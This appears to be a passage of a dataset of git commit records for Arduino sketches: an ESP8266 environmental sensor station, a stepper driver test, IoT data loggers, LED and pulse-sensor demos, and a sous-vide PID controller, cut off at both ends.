Titulo : Constru\u00e7\u00e3o do hardware, Leitura de Sensores e multiplexa\u00e7\u00e3o da entrada anal\u00f3gica\n ================================================================================================\n *\/\n\n\/\/ Bibliotecas\n#include <ESP8266WiFi.h>\n\n#define pinC D4\n#define pinB D3\n#define pinA D2\n\n\/\/ Vari\u00e1vel armazena sa\u00edda anal\u00f3gica para os sensores anal\u00f3gicos\n#define pinco 0\n#define pinuv 1\n#define pinldr 2\n\n\/\/ Valores de propor\u00e7\u00f5es do map-mux\n#define prop1 1\n#define prop2 988\n\n\/\/ Variavel para indicar status defuncionamento\n#define errorPin 16\n\nconst int sleep_time = 20; \n\n\/\/ Cria o client para atribui\u00e7\u00f5es wifi\nWiFiClient client;\n\n\/\/ Variaveis que armazenam SSID e password da rede wifi\nconst char* ssid = \"AP_RNP\";\nconst char* password = \"rnp@1fp3\";\n\n\/\/ SETUP\nvoid setup()\n{\n pinMode(pinC,OUTPUT);\n pinMode(pinB,OUTPUT);\n pinMode(pinA,OUTPUT);\n \n\n\/\/ Configura o led de status \n pinMode(errorPin, OUTPUT);\n\n\/\/ Flash do led para indicar inicio da opera\u00e7\u00e3o\n for (int i = 0; i < 4; i++)\n {\n digitalWrite(errorPin , HIGH);\n delay(200);\n digitalWrite(errorPin , LOW);\n delay(200);\n }\n\n \/\/ Inicia comunica\u00e7\u00e3o serial\n Serial.begin(115200);\n\n \/\/ Delay apenas para in\u00edcio seguro do sensor sht\n delay(10);\n\n \/\/ Mensagens para aviso de conex\u00e3o com a rede\n Serial.println(\"\");\n Serial.println(\"\");\n Serial.print(\"Conectando \u00e0 rede \");\n Serial.println(ssid);\n\n \/\/ M\u00e9todo para escanear redes wifi pr\u00f3ximas\n int n = WiFi.scanNetworks();\n\n Serial.println(\"escaneamento realizado\");\n if (n == 0)\n {\n Serial.println(\"Nenhuma rede foi encontrada\");\n Serial.println(\"Sleep\");\n }\n\n \/\/ Caso haja rede, conecta com a wifi\n WiFi.begin(ssid, password);\n\n \/\/ Conex\u00e3o realizada\n Serial.println(\"\");\n Serial.println(\"Wi-Fi connected\");\n}\n\n\/\/ Fim do setup\n\n\/* Vari\u00e1veis para guardar valor da porta anal\u00f3gica\n e Percentual de calibra\u00e7\u00e3o do ldr *\/\n int lum;\n float lumP;\n\n\/* Vari\u00e1veis reservadas para medi\u00e7\u00f5es de CO *\/\n int co_analog;\n \/\/ Resist\u00eancia de carga\n int mqR = 10000;\n \/\/ Resist\u00eancia de superf\u00edcie\n float rS;\n \/*\n * r0 - Par\u00e2metro definido no esquema de calibra\u00e7\u00e3o do sensor, \n * Uso de m\u00e9todo de calibra\u00e7\u00e3o adequado\n * \u00e0s condi\u00e7\u00f5es\n *\/ \n float r0 = 1211.39;\n\n\/* Vari\u00e1veis do sensor de UV*\/\nfloat uv_analog;\nString UVIndex;\n\/\/ Atribui\u00e7\u00e3o do ip do servidor\nchar server[] = {\"192.168.127.14\"};\nint port = 80;\n\n\/\/ Limite de intervalo entre conex\u00f5es\nunsigned long lastConnectionTime = 0;\nconst unsigned long postingInterval = 10L * 1000L;\n int uv, ldr;\n float co;\n\/\/ Fun\u00e7\u00e3o para transmiss\u00e3o dos dados do sensor\nvoid transmitSensorData()\n{\n \/\/ Leitura dos dados do client\n while (client.available()) \n {\n char c = client.read();\n Serial.write(c);\n }\n\n if (millis() - lastConnectionTime > postingInterval) \n {\n \/\/ Para a conex\u00e3o com o client\n client.stop();\n\n \/\/ Vari\u00e1veis a serem passadas por par\u00e3metro no m\u00e9todo GET\n String requestData = \"co=\" + String(co);\n String requestData1 = \"uv=\" + UVIndex;\n String requestData2 = \"luminosidade=\" + String(lumP); \n \n \/\/ Prepara\u00e7\u00e3o para envio dos dados via GET\n if (client.connect(server, port)) \n {\n \/\/ Se ocorreu a coex\u00e3o com o servidor\n Serial.println(\"[INFO] Servidor conectado - GET iniciado\");\n \n \/\/ Fazendo HTTP request:\n\n \/\/ Passagem do GET direcionado ao arquivo de tratamento\n client.println(\"GET \/node-server\/estacao2.php?\" + requestData + \"&\" + requestData1 + \"&\" + requestData2 + \" HTTP\/1.1\");\n client.println(\"Host: \" + String(server));\n client.println(\"Connection: close\");\n client.println(); \n\n lastConnectionTime = millis();\n \n Serial.println(\"[INFO] GET Realizado\");\n } \n else \n {\n \/\/ Conex\u00e3o com o servidor falhou\n Serial.println(\"[ERROR] Conex\u00e3o falhou.....\");\n } \n }\n\n Serial.println(\"......................\"); \n}\n\nvoid loop()\n{\n \n \n \n \/* Luminosidade *\/\n ldr = analogReadMUX(pinldr); \n lumP = map(ldr,prop1,prop2,0,100);\n\n \/* G\u00e1s CO *\/\n co_analog = analogReadMUX(pinco); \n \/\/ C\u00e1lculo do RS\n rS = ((987.0 * mqR) \/ co_analog) - mqR;\n \n \/\/ Fun\u00e7\u00e3o transforma\u00e7\u00e3o, definida ap\u00f3s processo calibra\u00e7\u00e3o\n co = exp(log((rS\/r0)\/20.48)\/-0.4687);\n \n \/\/ UV\n \n int analog_uv = analogReadMUX(pinuv); \n float voltage = (analog_uv * (3.3 \/ 1023.0))*1000;\n if(voltage<=150)\n {\n UVIndex = \"0\";\n }else if (voltage>150 && voltage<=227)\n {\n UVIndex = \"0\";\n }else if (voltage>227 && voltage<=318)\n {\n UVIndex = \"1\";\n }\n else if (voltage>318 && voltage<=408)\n {\n UVIndex = \"2\";\n }else if (voltage>408 && voltage<=503)\n {\n UVIndex = \"3\";\n }\n else if (voltage>503 && voltage<=606)\n {\n UVIndex = \"4\";\n }else if (voltage>606 && voltage<=696)\n {\n UVIndex = \"5\";\n }else if (voltage>696 && voltage<=795)\n {\n UVIndex = \"6\";\n }else if (voltage>795 && voltage<=881)\n {\n UVIndex = \"7\";\n }\n else if (voltage>881 && voltage<=976)\n {\n UVIndex = \"8\";\n }\n else if (voltage>976 && voltage<=1079)\n {\n UVIndex = \"9\";\n }\n else if (voltage>1079 && voltage<=1170)\n {\n UVIndex = \"10\";\n }else if (voltage>1170)\n {\n UVIndex = \"11\";\n }\n \/\/ Chamada do m\u00e9todo de transmiss\u00e3o dos dados\n transmitSensorData(); \n \n \n\n \n \/\/ Tempo de espera para cada transmiss\u00e3o\n delay(1000*60*10); \n}\n\n int analogReadMUX(int AX){\n #define pinMUX A0\n pinMode(pinMUX, INPUT);\n unsigned int leitura; \n \n\/\/ ---------- Chaveamento do Pino do MUX ----------\n switch(AX){\n case 0:\n digitalWrite(pinC, 0);\n digitalWrite(pinB, 0);\n digitalWrite(pinA, 0);\n break;\n case 1:\n digitalWrite(pinC, 0);\n digitalWrite(pinB, 0);\n digitalWrite(pinA, 1);\n break;\n case 2:\n digitalWrite(pinC, 0);\n digitalWrite(pinB, 1);\n digitalWrite(pinA, 0);\n break;\n }\n leitura = analogRead(pinMUX);\n return leitura;\n } \r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensores-nodemcu\/ESTACAO_002.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"839f61d600c36e05c6c4c4487ce392ad18f5c911","subject":"add initial Arduino StepStick test","message":"add initial Arduino StepStick test\n","repos":"cubehub\/antenna-tracker,cubehub\/antenna-tracker","old_file":"antenna_tracker\/antenna_tracker.ino","new_file":"antenna_tracker\/antenna_tracker.ino","new_contents":"\/*\n * Andres Vahter\n *\n * This program can be used for driving StepStick stepper controllers\n *\/\n\n#define LED\t\t\t13\n\n#define S1_ENABLE\t0\n#define S1_RESET\t4\n#define S1_SLEEP\t5\n#define S1_STEP\t\t6\n#define S1_DIR\t\t7\n\n#define STEP_COUNT\t600\n\n\nbool led_state = false;\n\nbool cv = true;\n\nvoid enable_outputs() {\n\tdigitalWrite(S1_ENABLE, LOW);\n}\n\nvoid sleep(bool enable) {\n\tif (enable) {\n\t\tdigitalWrite(S1_SLEEP, LOW);\n\t}\n\telse {\n\t\tdigitalWrite(S1_SLEEP, HIGH);\n\t}\n\tdelay(1);\n}\n\nvoid start() {\n\tdigitalWrite(S1_STEP, LOW);\n\tdigitalWrite(S1_RESET, HIGH);\n}\n\nvoid step(uint16_t steps) {\n\tfor (int i = 0; i < steps; i++) {\n digitalWrite(S1_STEP, LOW);\n\t\tdigitalWrite(S1_STEP, HIGH);\n delayMicroseconds(1200);\n }\n}\n\nvoid direction(bool cv) {\n\tif (cv) {\n\t\tdigitalWrite(S1_DIR, LOW);\n\t}\n\telse {\n\t\tdigitalWrite(S1_DIR, HIGH);\n\t}\n\tdelay(1);\n}\n\nvoid setup() {\n\t\/\/Serial.begin(9600); \/\/ conflicts with enable pin\n\n\tpinMode(LED, OUTPUT);\n\n\tpinMode(S1_ENABLE, OUTPUT);\n\tpinMode(S1_RESET, OUTPUT);\n\tpinMode(S1_SLEEP, OUTPUT);\n\tpinMode(S1_STEP, OUTPUT);\n\tpinMode(S1_DIR, OUTPUT);\n\n\tenable_outputs();\n\tsleep(false);\n\tdirection(cv);\n\tstart();\n}\n\nvoid loop() {\n\tif (led_state == false) {\n\t\tdigitalWrite(LED, HIGH);\n\t\tled_state = true;\n\t}\n\telse {\n\t\tdigitalWrite(LED, LOW);\n\t\tled_state = false;\n\t}\n\n\tstep(STEP_COUNT);\n\n\tif (cv) {\n\t\tcv = false;\n\t}\n\telse {\n\t\tcv = true;\n\t}\n\n\tdirection(cv);\n\tdelay(2048);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'antenna_tracker\/antenna_tracker.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7cb59c5d9bb61e79455d401a2d0428aadb5679f6","subject":"Added data logger code","message":"Added data logger code\n","repos":"zbeerladen\/esp8266-projects,andydoro\/Huzzah-Weather-Display,AdySan\/esp8266-projects,andydoro\/Huzzah-Weather-Display,zbeerladen\/esp8266-projects,fungxu\/esp8266-projects,zbeerladen\/esp8266-projects,fungxu\/esp8266-projects,fungxu\/esp8266-projects,squix78\/esp8266-projects,AdySan\/esp8266-projects,zbeerladen\/esp8266-projects,squix78\/esp8266-projects,squix78\/esp8266-projects,squix78\/esp8266-projects,andydoro\/Huzzah-Weather-Display,fungxu\/esp8266-projects,AdySan\/esp8266-projects","old_file":"arduino-ide\/thingspeak-data-logger\/thingspeak-data-logger.ino","new_file":"arduino-ide\/thingspeak-data-logger\/thingspeak-data-logger.ino","new_contents":"\/*\n * This sketch sends data via HTTP GET requests to thingspeak service every 10 minutes\n * You have to set your wifi credentials and your thingspeak key.\n *\/\n\n#include <ESP8266WiFi.h>\nextern \"C\" {\n #include \"user_interface.h\"\n}\n#include \"DHT.h\"\n\n#define DHTPIN 12 \/\/ what pin we're connected to\n\n\/\/ Uncomment whatever type you're using!\n#define DHTTYPE DHT11 \/\/ DHT 11 \n\/\/define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n\nDHT dht(DHTPIN, DHTTYPE, 15);\n\nconst char* ssid = \"ssid\";\nconst char* password = \"yourpassword\";\n\n\nconst char* host = \"api.thingspeak.com\";\nconst char* thingspeak_key = \"yourthingspeakkey\";\n\nvoid turnOff(int pin) {\n pinMode(pin, OUTPUT);\n digitalWrite(pin, 1);\n}\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/ disable all output to save power\n turnOff(0);\n turnOff(2);\n turnOff(4);\n turnOff(5);\n turnOff(12);\n turnOff(13);\n turnOff(14);\n turnOff(15);\n\n dht.begin();\n delay(10);\n \n\n \/\/ We start by connecting to a WiFi network\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nint value = 0;\n\nvoid loop() {\n delay(5000);\n ++value;\n\n Serial.print(\"connecting to \");\n Serial.println(host);\n \n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n const int httpPort = 80;\n if (!client.connect(host, httpPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n\n String temp = String(dht.readTemperature());\n String humidity = String(dht.readHumidity());\n String voltage = String(system_get_free_heap_size());\n String url = \"\/update?key=\";\n url += thingspeak_key;\n url += \"&field1=\";\n url += temp;\n url += \"&field2=\";\n url += humidity;\n url += \"&field3=\";\n url += voltage;\n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n \/\/ This will send the request to the server\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n delay(10);\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection. going to sleep...\");\n delay(1000);\n \/\/ go to deepsleep for 10 minutes\n system_deep_sleep_set_option(0);\n system_deep_sleep(10 * 60 * 1000000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-ide\/thingspeak-data-logger\/thingspeak-data-logger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"529cb9d04a549e3da2532fdd3fa68810f6c1e412","subject":"Arduino - LED logarithmic fade.","message":"Arduino - LED logarithmic fade.\n","repos":"lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog","old_file":"arduino\/008_led_logarithmic_fade\/008_led_logarithmic_fade.ino","new_file":"arduino\/008_led_logarithmic_fade\/008_led_logarithmic_fade.ino","new_contents":"\/**\n * Copyright (c) 2020, \u0141ukasz Marcin Podkalicki <lpodkalicki@gmail.com>\n * Arduino\/005\n * Example of LED logarithmic fade (LED connected with resistor in series to pin 11)\n *\/\n\n#include <stdint.h>\n#include <math.h>\n\n\/**\n * The instance of this class can control single LED.\n * - on, off, toggle (any digital pin)\n * - brightness (only PWM pins; i.e. for Arduino Uno: 3, 5, 6, 9, 10, 11)\n *\/\nclass BasicLed {\npublic:\n BasicLed(uint8_t pin): pin_(pin) {\n pinMode(pin, OUTPUT); \n }\n \/* Light the LED up *\/\n void on(void) {\n digitalWrite(pin_, HIGH);\n }\n \/* Turn the LED off *\/\n void off(void) {\n digitalWrite(pin_, LOW);\n }\n \/* Toogle LED on\/off *\/\n void toggle(void) {\n digitalWrite(pin_, !digitalRead(pin_));\n }\n \/* Set LED brightness from range <0, 255> *\/\n void setBrightness(uint8_t value) {\n analogWrite(pin_, value);\n }\nprivate:\n uint8_t pin_;\n}; \/* End of class BasicLed *\/\n\nclass LogarithmicFade {\npublic:\n LogarithmicFade(const BasicLed& led, uint16_t extra_delay_us = 3000) : \n led_(led), extra_delay_us_(extra_delay_us) {}\n \/* fade-in *\/\n void in(void) {\n for (int16_t i = 0; i < 255; ++i) {\n led_.setBrightness(i);\n sleep(i);\n } \n }\n \/* fade-out *\/\n void out(void) {\n for (int16_t i = 255; i >= 0; --i) {\n led_.setBrightness(i);\n sleep(i);\n }\n }\nprivate:\n BasicLed led_;\n uint16_t extra_delay_us_;\n \n void sleep(uint8_t i) {\n delayMicroseconds((uint16_t)(log(1. \/ (i + 1)) + 5.) * 1000);\n delayMicroseconds(extra_delay_us_);\n }\n}; \/* End of class LogarithmicFade *\/\n\nBasicLed led(11);\nLogarithmicFade fade(led);\n\nvoid setup() {\n \/\/ do nothing\n}\n\nvoid loop() {\n fade.in();\n fade.out();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/008_led_logarithmic_fade\/008_led_logarithmic_fade.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"7812bc9732123c06ba0315b4c91665bc5c7ca5f2","subject":"Adds an LED example and comments","message":"Adds an LED example and comments\n","repos":"DivineChili\/Arduino-For-Noobs","old_file":"examples\/Enkelt_LED_lys\/Enkelt_LED_lys.ino","new_file":"examples\/Enkelt_LED_lys\/Enkelt_LED_lys.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DivineChili\/Arduino-For-Noobs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"342cfe53e61ce6437d74345ce4f035d47e2d586c","subject":"Small modification","message":"Small modification\n","repos":"denisToader\/arduino","old_file":"src\/sketch_may12a\/sketch_may12a.ino","new_file":"src\/sketch_may12a\/sketch_may12a.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/denisToader\/arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ba3b5329700691aa1e89147baccf4392226d2c31","subject":"updated variable name","message":"updated variable name\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"examples-ltc\/7. LoveToCodeVol1\/6_BasicLightSensor\/BasicLightSensor.ino","new_file":"examples-ltc\/7. LoveToCodeVol1\/6_BasicLightSensor\/BasicLightSensor.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples-ltc\/7.' did not match any file(s) known to git\nerror: pathspec 'LoveToCodeVol1\/6_BasicLightSensor\/BasicLightSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"57d08a861809d077a7f30b80d7df5d60dfa3915a","subject":"Revert \"removed extra file\"","message":"Revert \"removed extra file\"\n\nThis reverts commit 1bdcb902088bd46179c880d54ff0ec1bbafe5273.\n","repos":"opentrv\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink","old_file":"dev\/test\/assert_tests\/assert_tests.ino","new_file":"dev\/test\/assert_tests\/assert_tests.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"51a0b7753ec0dc6889f700543283eaab31aaa786","subject":"Update effects","message":"Update effects\n","repos":"c-dante\/glowbrella,c-dante\/glowbrella,c-dante\/glowbrella","old_file":"DanteGlowbrellaRemix\/DanteGlowbrellaRemix.ino","new_file":"DanteGlowbrellaRemix\/DanteGlowbrellaRemix.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/c-dante\/glowbrella.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f0da8f2694a6056d06d58eb8e5c351a9e53f4503","subject":"Added FirstProject, which is a copy of PulseSensorStarterProject.","message":"Added FirstProject, which is a copy of PulseSensorStarterProject.\n","repos":"bneedhamia\/PulseSensorBPM","old_file":"examples\/FirstProject\/FirstProject.ino","new_file":"examples\/FirstProject\/FirstProject.ino","new_contents":"\n\/* PulseSensor\u2122 Starter Project http:\/\/www.pulsesensor.com\n * \nThis an Arduino project. It's Best Way to Get Started with your PulseSensor\u2122 & Arduino. \n-------------------------------------------------------------\n1) This shows a live human Heartbeat Pulse. \n2) Live visualization in Arduino's Cool \"Serial Plotter\".\n3) Blink an LED on each Heartbeat.\n4) This is the direct Pulse Sensor's Signal. \n5) A great first-step in troubleshooting your circuit and connections. \n6) \"Human-readable\" code that is newbie friendly.\" \n\n*\/\n\n\n\/\/ Variables\nint PulseSensorPurplePin = 0; \/\/ Pulse Sensor PURPLE WIRE connected to ANALOG PIN 0\nint LED13 = 13; \/\/ The on-board Arduion LED\n\n\nint Signal; \/\/ holds the incoming raw data. Signal value can range from 0-1024\nint Threshold = 550; \/\/ Determine which Signal to \"count as a beat\", and which to ingore. \n\n\n\/\/ The SetUp Function:\nvoid setup() {\n pinMode(LED13,OUTPUT); \/\/ pin that will blink to your heartbeat!\n Serial.begin(9600); \/\/ Set's up Serial Communication at certain speed. \n \n}\n\n\/\/ The Main Loop Function\nvoid loop() {\n\n Signal = analogRead(PulseSensorPurplePin); \/\/ Read the PulseSensor's value. \n \/\/ Assign this value to the \"Signal\" variable.\n\n Serial.println(Signal); \/\/ Send the Signal value to Serial Plotter.\n\n \n if(Signal > Threshold){ \/\/ If the signal is above \"550\", then \"turn-on\" Arduino's on-Board LED. \n digitalWrite(LED13,HIGH); \n } else {\n digitalWrite(LED13,LOW); \/\/ Else, the sigal must be below \"550\", so \"turn-off\" this LED.\n }\n\n\ndelay(10);\n \n \n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/FirstProject\/FirstProject.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dd047d11795712f4e74166354294a7347ddcd6d3","subject":"Added Arduino sample, which implements getjson method and prints in the Serial monitor the acquired JSON from the Thingworx server","message":"Added Arduino sample, which implements getjson method and prints in the Serial monitor the acquired JSON from the Thingworx server\n","repos":"tidusdavid\/thingworx-arduino-wifi101","old_file":"examples\/getThingWorx\/getThingWorx.ino","new_file":"examples\/getThingWorx\/getThingWorx.ino","new_contents":"\/\/Name: getThingWorx\n\/\/Author: David Velasquez\n\/\/Date: 19\/07\/2017\n\/\/Description: This program sends 2 sensor vars to Thingworx Server.\n\n\/\/Libraries\n#include <ThingworxWiFi101.h>\n\n\/\/I\/O pin labeling\n\n\/\/Server Constants\nconst unsigned long TPOST = 5000; \/\/Time between requests to TWX server (every 5 secs)\nchar* ssid = \"Change to your SSID\"; \/\/WiFi SSID\nchar* password = \"Change to your pass\"; \/\/WiFi Pass\nchar* host = \"Change to your twx host\"; \/\/TWX Host example: myhost.edu.co (without http at beginning)\nunsigned int port = 80; \/\/TWX host port\n\n\/\/Variables\n\/\/->TWX Vars\nchar appKey[] = \"Write your TWX API key here\"; \/\/API Key from TWX\nchar thingName[] = \"Name of your TWX Thing\"; \/\/Thing name from TWX\nString inputJson = \"\"; \/\/Variable to store Input Properties JSON\n\/\/->Timing Vars\nunsigned long lastConnectionTime = 0; \/\/Last connection ms time between server requests\n\/\/->ThingworxWiFi101 Vars\nThingWorx myThing(host, port, appKey, thingName, serviceName); \/\/Declare the TWX object with his corresponding properties\n\n\/\/Subroutines & functions\nvoid printWifiStatus() {\n \/\/Print SSID name\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/Print ipv4 assigned to WiFi101 module\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/Print signal strength for WiFi101 module\n long rssi = WiFi.RSSI();\n Serial.print(\"Signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\n\nvoid WiFiInit() {\n delay(1000); \/\/Wait 1 sec for module initialization\n\n \/\/Check if WiFi Shield is connected to Arduino\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\");\n \/\/Infinite loop if shield is not detected\n while (true);\n }\n\n \/\/Attempt a WiFi connection to desired access point at ssid, password\n while ( WiFi.status() != WL_CONNECTED) {\n Serial.print(\"Attempting to connect to SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network:\n WiFi.begin(ssid, password);\n delay(10000); \/\/Wait 10 secs for establishing connection\n }\n \/\/Print WiFi status\n printWifiStatus();\n}\n\nvoid setup() {\n \/\/I\/O configuration\n\n \/\/Physical outputs initialization\n\n \/\/Communications\n Serial.begin(9600); \/\/Serial communications with computer at 9600 bauds for debug purposes\n WiFiInit(); \/\/WiFi communications initialization\n}\n\nvoid loop() {\n if (millis() - lastConnectionTime > TPOST) { \/\/Send request to server every TPOST seconds\n inputJson = myThing.getjson(); \/\/Get all properties from server platform\n \/\/inputJson = myThing.getjson(\"write1\"); \/\/Get 1 property with write1 label from server platform\n Serial.println(inputJson);\n lastConnectionTime = millis(); \/\/Refresh last connection time\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/getThingWorx\/getThingWorx.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6b5fcdcd476f62dcdc61f726d78f909be8b2ac74","subject":"initial commit","message":"initial commit\n","repos":"wordsforthewise\/aurdino-sous-vide-yogurt-maker","old_file":"rice-cooker-sous-vide\/rice-cooker-sous-vide.ino","new_file":"rice-cooker-sous-vide\/rice-cooker-sous-vide.ino","new_contents":"\/\/ PID Library\n#include <PID_v1.h>\n#include <PID_AutoTune_v0.h>\n\n\/\/ Libraries for the DS18B20 Temperature Sensor\n#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\/\/ So we can save and retrieve settings\n#include <EEPROM.h>\n\n\/\/ Output Relay\n#define RelayPin 2\n\n\/\/ One-Wire Temperature Sensor\n\/\/ (Use GPIO pins for power\/ground to simplify the wiring)\n#define ONE_WIRE_BUS 12\n\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(ONE_WIRE_BUS);\n\n\/\/ Pass our oneWire reference to Dallas Temperature. \nDallasTemperature sensors(&oneWire);\n\n\/\/ arrays to hold device address\nDeviceAddress tempSensor;\n\n\/\/ ************************************************\n\/\/ PID Variables and constants\n\/\/ ************************************************\n\nboolean alreadyTuned = false;\n\n\/\/Define Variables we'll be connecting to\ndouble Setpoint;\ndouble Input;\ndouble Output;\n\nvolatile long onTime = 0;\n\n\/\/ pid tuning parameters\ndouble Kp;\ndouble Ki;\ndouble Kd;\n\n\/\/ EEPROM addresses for persisted data\nconst int SpAddress = 0;\nconst int KpAddress = 8;\nconst int KiAddress = 16;\nconst int KdAddress = 24;\n\n\/\/Specify the links and initial tuning parameters\nPID myPID(&Input, &Output, &Setpoint, Kp, Ki, Kd, DIRECT);\n\n\/\/ 10 second Time Proportional Output window\nint WindowSize = 10000; \nunsigned long windowStartTime;\n\n\/\/ ************************************************\n\/\/ Auto Tune Variables and constants\n\/\/ ************************************************\nbyte ATuneModeRemember=2;\n\ndouble aTuneStep=500;\ndouble aTuneNoise=1;\nunsigned int aTuneLookBack=20;\n\nboolean tuning = false;\n\nPID_ATune aTune(&Input, &Output);\n\nvoid setup(void) {\n Setpoint = 55;\n Serial.begin(9600);\n pinMode(2, OUTPUT);\n digitalWrite(2, HIGH);\n Serial.println(\"starting program\");\n \n \/\/ Start up the DS18B20 One Wire Temperature Sensor\n\n sensors.begin();\n if (!sensors.getAddress(tempSensor, 0)) \n {\n Serial.println(\"no temp sensors!\");\n }\n sensors.setResolution(tempSensor, 12);\n sensors.setWaitForConversion(false);\n \n\n\/\/ ************************************************\n\/\/ Sensor Variables and constants\n\/\/ Data wire is plugged into port 12 on the Arduino\n\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(ONE_WIRE_BUS);\n\n\/\/ Pass our oneWire reference to Dallas Temperature. \nDallasTemperature sensors(&oneWire);\n\n\/\/ arrays to hold device address\nDeviceAddress tempSensor;\n\n \/\/ Initialize the PID and related variables\n LoadParameters();\n myPID.SetTunings(Kp,Ki,Kd);\n\n myPID.SetSampleTime(1000);\n myPID.SetOutputLimits(0, WindowSize);\n\n \/* \/\/ Run timer2 interrupt every 15 ms \n TCCR2A = 0;\n TCCR2B = 1<<CS22 | 1<<CS21 | 1<<CS20;\n\n \/\/Timer2 Overflow Interrupt Enable\n TIMSK2 |= 1<<TOIE2;*\/\n \n \n sensors.requestTemperatures(); \/\/ Start an asynchronous temperature reading\n}\n\n\nvoid loop(void) {\n\n \/\/ Read the input:\n if (sensors.isConversionAvailable(0))\n {\n Serial.println(\"working\");\n Input = sensors.getTempC(tempSensor);\n sensors.requestTemperatures(); \/\/ prime the pump for the next one - but don't wait\n }\n Serial.println(\"temp: \" + String(Input));\n LoadParameters();\n Serial.println(Kp);\n Serial.println(Ki);\n Serial.println(Kd);\n if (!alreadyTuned and !tuning)\n {\n StartAutoTune();\n }\n \n delay(1000);\n}\n\n\/\/ ************************************************\n\/\/ Execute the control loop\n\/\/ ************************************************\nvoid DoControl()\n{\n \/\/ Read the input:\n if (sensors.isConversionAvailable(0))\n {\n Input = sensors.getTempC(tempSensor);\n sensors.requestTemperatures(); \/\/ prime the pump for the next one - but don't wait\n }\n \n if (tuning) \/\/ run the auto-tuner\n {\n if (aTune.Runtime()) \/\/ returns 'true' when done\n {\n FinishAutoTune();\n }\n }\n else \/\/ Execute control algorithm\n {\n myPID.Compute();\n }\n \n \/\/ Time Proportional relay state is updated regularly via timer interrupt.\n onTime = Output; \n}\n\nvoid StartAutoTune()\n{\n Serial.println(\"starting autotune\");\n \/\/ Remember the mode we were in\n ATuneModeRemember = myPID.GetMode();\n\n \/\/ set up the auto-tune parameters\n 